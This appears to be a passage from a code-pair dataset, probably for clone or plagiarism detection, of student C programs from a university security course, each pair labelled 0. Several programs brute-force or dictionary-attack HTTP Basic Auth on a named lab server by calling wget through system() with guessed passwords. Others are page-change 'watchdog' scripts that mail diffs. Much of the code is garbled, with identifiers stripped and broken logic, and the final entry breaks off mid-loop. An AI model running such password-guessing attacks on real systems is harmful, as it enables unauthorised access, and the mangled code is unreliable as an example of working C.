#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| 0 |
023.c | 053.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
char URL[255];
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;
(void) time(&u1);
strcpy(temp1,"wget --http-user= --http-passwd=");
strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
for(m=0;m<=51;m++)
{
v[0]=[m];
v[1]='\0';
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(n=0;n<=51;n++)
{
v[0]=[m];
v[1]=[n];
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(o=0;o<=51;o++)
{
v[0]=[m];
v[1]=[n];
v[2]=[o];
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
}
| 0 |
023.c | 045.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int t1, t2, t;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
t1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
if (strlen(word) == 3)
syst = system(url);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t/1000000000;
printf("\n !!! here's the passowrd:- %s",word);
printf("\n Total .of atempts: %d\n",nofattempts);
printf("\n The total time_var taken: %d seconds", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
023.c | 031.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
FILE* fp;
int pass,len;
int count = 0;
char [50];
char url1[100];
char url2[100];
startTime = time();
fp = fopen("/usr/share/lib/dict/words","r");
while (fp !='\0')
{
fgets( ,50,fp);
len = strlen();
[strlen()-1] ='\0';
if(len <= 4)
{
count++;
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcat(url1,);
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
stopTime = time();
final = stopTime-startTime;
printf("\n SUCCESS\n");
printf("The password for the user : %s\n ",);
printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
printf("Number of attempts : %d\n",count);
exit(1);
}
}
}
}
| 0 |
023.c | 059.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MINSIZE 26
#define MAXSIZE 52
#define MAX_SIZE 255
int CrackPasswd(char *passwd)
{
int flag;
char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];
strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(string2," --http-user= --http-passwd='");
strcpy(,"");
strcat(, string1);
strcat(, string2);
strcat(, passwd);
strcat(, "'");
printf("Sending Request as %s\n",);
flag = system();
if (flag == 0)
{
printf("\nPassword is %s\n",passwd);
return 1;
}
strcpy(,"");
return 0;
}
int BruteForce(char *CharArray)
{
int i, j, k;
char passwd[MAX_SIZE];
for (i=0;i<MAX_SIZE;i++)
passwd[i] = '\0';
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
if(CrackPasswd(passwd) == 1)
return 1;
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
for(k=0;k<MAXSIZE;k++)
{
passwd[2] = CharArray[k];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
}
return 0;
}
int (int argc, char *argv[])
{
char CharArray[MAXSIZE];
char ch='a';
int i,j;
int , end;
= time();
strcpy(CharArray,"");
for (i=0;i<MINSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
ch='A';
for (i=MINSIZE;i<MAXSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
if (argc != 1)
{
fprintf(stdout,"Usage : ./BruteForce \n");
return(EXIT_FAILURE);
}
BruteForce(CharArray);
getpid();
end = time();
printf("Time Required = %lld msec\n",(end-)/());
return (EXIT_SUCCESS);
}
| 0 |
023.c | 043.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
char word[15], *chk;
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir one");
system("mv www.cs.rmit.edu./images/*.* one/");
system("mv www.cs.rmit.edu./students/*.* one/");
sleep(15);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* two/");
system("mv www.cs.rmit.edu./students/*.* two/");
system("diff one two > difference.txt");
system("mailx -s \"Message1\" < difference.txt");
return 0;
}
| 0 |
023.c | 014.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122
int bruteforce_first(int passlen, int *attempts);
int bruteforce_two(int passlen, int *attempts);
int bruteforce_three(int passlen, int *attempts);
int main()
{
int i, wdlen = 1;
int runtime;
int counter ;
int initTime = 0, exitTime = 0, runTime = 0;
initTime = time();
if (bruteforce_first(wdlen, &counter) == 2) {
wdlen++;
if (bruteforce_two(wdlen, &counter) == 3) {
wdlen++;
if (bruteforce_three(wdlen, &counter) == 0)
printf("Success In Breaking The Password");
else
printf("Failure !!!!!!");
}
} else {
printf("Success In Breaking The Password");
}
exitTime = time();
runTime = (exitTime - initTime);
printf("\nNumber of attempts is... %d", counter);
printf("\nTime taken is %lld milli seconds\n", (runTime)/());
return 0;
}
int bruteforce_first(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
puts(str);
(*attempts)++;
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully:");
printf("Password is %s", str);
return 0;
}
}
return 2;
}
int bruteforce_two(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 0;
if (str[i] == 'Z') {
str[i] = 'a';
} else
str[i]++;
}
return 3;
}
int bruteforce_three(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 1;
while (i <= passlen - 1) {
if (str[passlen - i - 1] == 'z') {
str[passlen - i - 1] = MINCHAR;
str[passlen - 1 - 2]++;
break;
} else {
if (str[passlen - i - 1] == 'Z') {
str[passlen - i - 1] = 'a';
break;
} else {
str[passlen - i - 1]++;
break;
}
}
i++;
}
}
return 0;
}
| 0 |
023.c | 050.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
FILE *fp;
char *chk,[4];
int i=1;
while (i == 1)
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir first");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* first/");
system("mv www.cs.rmit.edu./students/*.* first/");
sleep(86400);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("diff first second > imagesdifference.txt");
fp = fopen("imagesdifference.txt","r");
chk = fgets(, 4, fp);
if (strlen() != 0)
system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt");
}
return 0;
}
| 0 |
023.c | 016.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>
void emptyFile(char* name)
{
FILE* myFile;
myFile = fopen(name,"w");
fclose(myFile);
}
int (void)
{
FILE* myFile;
char* myString;
myString = malloc(sizeof(char ) * 100);
emptyFile(".old.html");
emptyFile(".new.html");
system("wget -O .old.html -q http://www.cs.rmit.edu./students/");
while(1)
{
emptyFile(".new.html");
system("wget -O .new.html -q http://www.cs.rmit.edu./students/");
system("diff .old.html .new.html > watch.txt");
myFile = fopen("watch.txt","r");
if(myFile != (FILE*) NULL)
{
fgets(myString,100,myFile);
if(strlen(myString) > 0)
{
system("mail @cs.rmit.edu. < watch.txt");
system("cp .new.html .old.html");
}
}
sleep(60*60*24);
}
return 1;
}
| 0 |
023.c | 007.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir home");
system("mv www.cs.rmit.edu./images/*.* home/");
system("mv www.cs.rmit.edu./students/*.* home/");
system("cd www.cs.rmit.edu./images");
sleep(1);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("cd www.cs.rmit.edu./images");
system("diff home second > difference.txt");
system("mailx -s \"Difference in \" < difference.txt ");
return 0;
}
| 0 |
023.c | 054.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
time_t u1,u2;
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
FILE *fin1;
char point[25];
fin1=fopen("./words.txt","r");
if(fin1==NULL)
{
printf(" open the file ");
exit(0);
}
strcpy(temp2," --http-user= --http-passwd=");
strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcpy(temp3,"");
(void) time(&u1);
while(!feof(fin1))
{
fgets(point,25,fin1);
if(strlen(point)<=4)
{
strcpy(temp3,temp1);
strcat(temp3,temp2);
strcat(temp3,point);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",point);
printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
| 0 |
023.c | 021.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
|
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100],c[100],c1[100],c2[100],m[50];
char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int i,j,k,count=0;
int total_time,start_time,end_time;
start_time = time();
for(i=0;i<52;i++)
{
